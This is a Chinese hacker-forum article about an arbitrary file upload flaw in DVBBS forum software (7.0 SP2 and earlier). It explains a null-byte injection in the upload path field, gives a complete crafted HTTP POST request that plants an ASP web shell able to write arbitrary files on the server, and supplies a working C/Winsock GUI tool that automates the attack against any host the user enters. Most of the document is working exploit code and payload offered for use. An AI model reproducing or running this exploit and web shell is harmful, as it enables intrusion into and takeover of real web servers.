动网论坛上传文件漏洞的原理以及攻击的代码实现
动网论坛上传文件漏洞的原理以及攻击的代码实现 最近一段时间比较忙,没什么时间为组织做贡献(实在是没实力,呵呵).刚好前一段时间听小猪(猪蛋儿的《目前流行的BBS安全性比较》一文请参阅:http://wvw.ttian.net/forum/viewtopic.php?id=269)说动网论坛出了一个上传任意文件的漏洞,当时没怎么明白.但是我看到最近NB论坛上全部都在讨论有关这方面的问题,就研究了一下,发现这个漏洞确实存在,而且非常严重,用小猪的话说是DVBBS7.0 SP2以下通杀.虽然有些人已经知道了攻击方法,但是还是存在一些问题.下面我就动网的这个漏洞做一下讲解.(不知道会不会被人骂,因为这个漏洞实在太大了).
我们先看一下动网论坛上传文件的相关代码:
'===========无组件上传(upload_0)====================
sub upload_0()
set upload=new UpFile_Class ''建立上传对象
upload.GetDate (int(Forum_Setting(56))*1024) '取得上传数据,不限大小
iCount=0
if upload.err > 0 then
select case upload.err
case 1
Response.Write '请先选择你要上传的文件[ <a href=# onclick=history.go(-1)>重新上传</a> ]'
case 2
Response.Write '图片大小超过了限制 '&Forum_Setting(56)&'K[ <a href=# onclick=history.go(-1)>重新上传</a> ]'
end select
exit sub
else
formPath=upload.form('filepath')
''在目录后加(/)
if right(formPath,1)<>'/' then formPath=formPath&'/'
for each formName in upload.file ''列出所有上传了的文件
set file=upload.file(formName) ''生成一个文件对象
if file.filesize<100 then
response.write '请先选择你要上传的图片[ <a href=# onclick=history.go(-1)>重新上传</a> ]'
response.end
end if
fileExt=lcase(file.FileExt)
if CheckFileExt(fileEXT)=false then
response.write '文件格式不正确[ <a href=# onclick=history.go(-1)>重新上传</a> ]'
response.end
end if
randomize
ranNum=int(90000*rnd)+10000
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&'.'&fileExt
if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据
file.SaveToFile Server.mappath(filename) ''保存文件
' response.write file.FilePath&file.FileName&' ('&file.FileSize&') => '&formPath&File.FileName&' 成功!<br>'
response.write '<script>parent.document.forms[0].myface.value=''&FileName&''</script>'
iCount=iCount+1
end if
set file=nothing
next
set upload=nothing
session('upface')='done'
Htmend iCount&' 个文件上传结束!'
end if
end sub
在上面代码中可以看到这样一句:
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&'.'&fileExt
这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里来的呢?我们可以在reg_upload.asp中找到这样的代码:
<form name='form' method='post' action='upfile.asp' enctype='multipart/form-data' >
<input type='hidden' name='filepath' value='uploadFace'>
<input type='hidden' name='act' value='upload'>
<input type='file' name='file1'>
<input type='hidden' name='fname'>
<input type='submit' name='Submit' value='上传' onclick='fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
parent.document.forms[0].Submit2.disabled=true;'>
</form>
这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的ASP文件也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了.
当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的是要让我们上传的文件名改成ASP,这样我们才可以利用.关键就在这一句了:
formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&'.'&fileExt
这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的关键就是看是否碰到'\0'字符,如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似'uploadface\zwell.asp'这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface\zwell.asp'\0'的字符串然后发送出去就行了.
我们先来看一下数据包的格式(论坛上好像大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^):
POST /forum/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)
Host: uyee.com
Content-Length: 1593
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF
-----------------------------7d4a325500d2
Content-Disposition: form-data; name='filepath'
uploadFace\zwell.asp
-----------------------------7d4a325500d2
Content-Disposition: form-data; name='act'
upload
-----------------------------7d4a325500d2
Content-Disposition: form-data; name='file1'; filename='C:\1.gif'
Content-Type: text/plain
<%dim objFSO%>
<%dim fdata%>
<%dim objCountFile%>
<%on error resume next%>
<%Set objFSO = Server.CreateObject('Scripting.FileSystemObject')%>
<%if Trim(request('syfdpath'))<>'' then%>
<%fdata = request('cyfddata')%>
<%Set objCountFile=objFSO.CreateTextFile(request('syfdpath'),True)%>
<%objCountFile.Write fdata%>
<%if err =0 then%>
<%response.write '<font color=red>save Success!</font>'%>
<%else%>
<%response.write '<font color=red>Save UnSuccess!</font>'%>
<%end if%>
<%err.clear%>
<%end if%>
<%objCountFile.Close%>
<%Set objCountFile=Nothing%>
<%Set objFSO = Nothing%>
<%Response.write '<form action='''' method=post>'%>
<%Response.Write '<input type=text name=syfdpath width=32 size=50>'%>
<%Response.Write '<br>'%>
<%=server.mappath(Request.ServerVariables('SCRIPT_NAME'))%>
<%Response.write '<br>'%>
<%Response.write '<textarea name=cyfddata cols=80 rows=10 width=32></textarea>'%>
<%Response.write '<input type=submit value=save>'%>
<%Response.write '</form>'%>
-----------------------------7d4a325500d2
Content-Disposition: form-data; name='fname'
C:\1.gif
-----------------------------7d4a325500d2
Content-Disposition: form-data; name='Submit'
上传
-----------------------------7d4a325500d2--
上面的数据我是在WIN2003下调试的.按我前面讲的,只要改几个地方就好了
1.Content-Disposition: form-data; name='file1'; filename='C:\1.gif'
2.Content-Disposition: form-data; name='fname'
C:\1.gif
3.最重要的地方:uploadFace\zwell.asp,怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,(因为'\0'这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit里将对就空格符的20改成00).
至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注意这一句:
Content-Length: 1593
很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个'-----------------------------7d4a325500d2'开始算起,到'-----------------------------7d4a325500d2--\r\n\r\n'截止,大家看到的'\r\n'是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,代码短倒无所谓,代码要是很长怎么办呢?:),这里告诉大家一个简单的方法:打开记事本,将算长度的代码复制到记事本,保存,然后看属性就一目了然了,一个字符都不会错.只是有一点必须注意,必须将最后的那几个换行也复制进来.很多人就是因为没有复制换行才失败的.
写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下:
#include <winsock2.h>
#include <stdio.h>
#include 'Resource.h'
#pragma comment(lib,'ws2_32.lib')
HINSTANCE g_hInst;
HWND g_hWnd;
HWND m_up;
HWND m_host;
HWND m_webpath;
HWND m_path;
HWND m_filename;
HWND m_upload;
DWORD m_theadid;
BYTE sendbuf[10000];
char host[80]; //主机地址
char bbspath[50]; //论坛地址
char uppath[20]; //上传目录
char upfilename[50]; //上传文件名
char upfiledata[8000]; //上传文件内容
int sendsize; //总传送数据大小
int realsndsize = 0; //传送页面文件的大小
char snddata[8000];
char mm[1000]=
'<%dim objFSO%>\r\n'
'<%dim fdata%>\r\n'
'<%dim objCountFile%>\r\n'
'<%on error resume next%>\r\n'
'<%Set objFSO = Server.CreateObject(\'Scripting.FileSystemObject\')%>\r\n'
'<%if Trim(request(\'syfdpath\'))<>\'\' then%>\r\n'
'<%fdata = request(\'cyfddata\')%>\r\n'
'<%Set objCountFile=objFSO.CreateTextFile(request(\'syfdpath\'),True)%>\r\n'
'<%objCountFile.Write fdata%>\r\n'
'<%if err =0 then%>\r\n'
'<%response.write \'<font color=red>save Success!</font>\'%>\r\n'
'<%else%>'
'<%response.write \'<font color=red>Save UnSuccess!</font>\'%>\r\n'
'<%end if%>\r\n'
'<%err.clear%>\r\n'
'<%end if%>'
'<%objCountFile.Close%>\r\n'
'<%Set objCountFile=Nothing%>\r\n'
'<%Set objFSO = Nothing%>'
'<%Response.write \'<form action=\'\' method=post>\'%>\r\n'
'<%Response.Write \'<input type=text name=syfdpath width=32 size=50>\'%>\r\n'
'<%Response.Write \'<br>\'%>\r\n'
'<%=server.mappath(Request.ServerVariables(\'SCRIPT_NAME\'))%>\r\n'
'<%Response.write \'<br>\'%>\r\n'
'<%Response.write \'<textarea name=cyfddata cols=80 rows=10 width=32></textarea>\'%>\r\n'
'<%Response.write \'<input type=submit value=save>\'%>\r\n'
'<%Response.write \'</form>\'%>\r\n';
//获得控件文本
char *gettext(HWND chwnd)
{
char tmpbuf[10000];
SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf);
return tmpbuf;
}
//设置控件文本
void settext(HWND chwnd,char *text)
{
SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text);
}
char *itos(int data)
{
char tmp[10];
sprintf(tmp, '%d', data);
return tmp;
}
//上传线程
DWORD WINAPI uploadthread(LPVOID param)
{
SOCKET s;
sockaddr_in sin;
struct hostent * hp;
unsigned int addr;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
ZeroMemory((void *)&sin, sizeof(sin));
hp = gethostbyname(gettext(m_host));
if (!hp)
addr = inet_addr(gettext(m_host));
if ((!hp) && (addr == INADDR_NONE) )
{
MessageBox(g_hWnd, 'Unable to resolve host', 'sendbuf', MB_OK);
return 0;
}
if (hp != NULL)
memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length);
else
sin.sin_addr.s_addr = addr;
sin.sin_port = htons(80);
sin.sin_family = AF_INET;
strcpy(host, gettext(m_host));
strcpy(bbspath, gettext(m_webpath));
strcpy(upfiledata, gettext(m_upload));
strcpy(uppath, gettext(m_path));
strcpy(upfilename, gettext(m_filename));
realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;
sprintf((char *)sendbuf, 'POST %s/upfile.asp HTTP/1.1\r\n'
'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n'
'Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n'
'Accept-Language: zh-cn\r\n'
'Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n'
'Accept-Encoding: gzip, deflate\r\n'
'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n'
'Host: %s\r\n'
'Content-Length: %d\r\n'
'Connection: Keep-Alive\r\n'
'Cache-Control: no-cache\r\n'
'Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n'
'-----------------------------7d4a325500d2\r\n'
'Content-Disposition: form-data; name=\'filepath\'\r\n\r\n'
'%s\\%s',
bbspath,
host,
realsndsize,
uppath,
upfilename);
sendsize = strlen((char *)sendbuf);
sendbuf[sendsize] = '\0';
sprintf(snddata,
'\r\n'
'-----------------------------7d4a325500d2\r\n'
'Content-Disposition: form-data; name=\'act\'\r\n\r\n'
'upload\r\n'
'-----------------------------7d4a325500d2\r\n'
'Content-Disposition: form-data; name=\'file1\'; filename=\'C:\\1.gif\'\r\n'
'Content-Type: text/plain\r\n\r\n'
'%s\r\n'
'-----------------------------7d4a325500d2\r\n'
'Content-Disposition: form-data; name=\'fname\'\r\n\r\n'
'C:\\1.gif\r\n'
'-----------------------------7d4a325500d2\r\n'
'Content-Disposition: form-data; name=\'Submit\'\r\n\r\n'
'上传\r\n'
'-----------------------------7d4a325500d2--\r\n\r\n',
upfiledata);
strcat((char *)&sendbuf[sendsize+1], snddata);
sendsize += strlen(snddata);
sendsize += 1;
if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin)))
{
MessageBox(g_hWnd, '连接出错!', '出错提示:', MB_OK|MB_IConERROR);
return 0;
}
int sendsz = send(s, (char *)sendbuf, sendsize, 0);
if(sendsz <= 0)
MessageBox(g_hWnd, '发送数据失败', itos(WSAGetLastError()), MB_OK);
char recvbuf[10000];
recv(s, (char*)recvbuf, 10000, 0);
settext(m_upload, recvbuf);
closesocket(s);
return 0;
}
void WINAPI On_Command(WPARAM wParam)
{
switch (LOWORD(wParam))
{
case ID_UP:
CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid);
break;
case IDCANCEL:
SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL));
break;
}
}
static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch (msg)
{
case WM_INITDIALOG:
g_hWnd = hWndDlg;
m_up = GetDlgItem(g_hWnd, ID_UP);
m_host = GetDlgItem(g_hWnd, IDC_EDIT1);
m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2);
m_path = GetDlgItem(g_hWnd, IDC_EDIT3);
m_upload = GetDlgItem(g_hWnd, IDC_EDIT4);
m_filename = GetDlgItem(g_hWnd, IDC_EDIT5);
settext(m_host, '192.168.10.101');
settext(m_webpath, '/');
settext(m_path, 'uploadface');
settext(m_filename, 'zwell.asp');
settext(m_upload, mm);
return TRUE;
case WM_COMMAND:
On_Command(wParam);
break;
case WM_SIZE:
break;
case WM_CLOSE:
EndDialog(g_hWnd,0);
break;
}
return FALSE;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
WSADATA wsaData;
g_hInst=hInstance;
if(WSAStartup(MAKEWORD(1, 1), &wsaData))
{
MessageBox(NULL,'无法初始化 Winsock DLL\t','错误',MB_OK|MB_ICONSTOP);
return 0;
}
DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc);
WSACleanup();
return 1;
}
WINDOWS2003 + VC.NET
WINDOWS2003 WINDOWS2000测试通过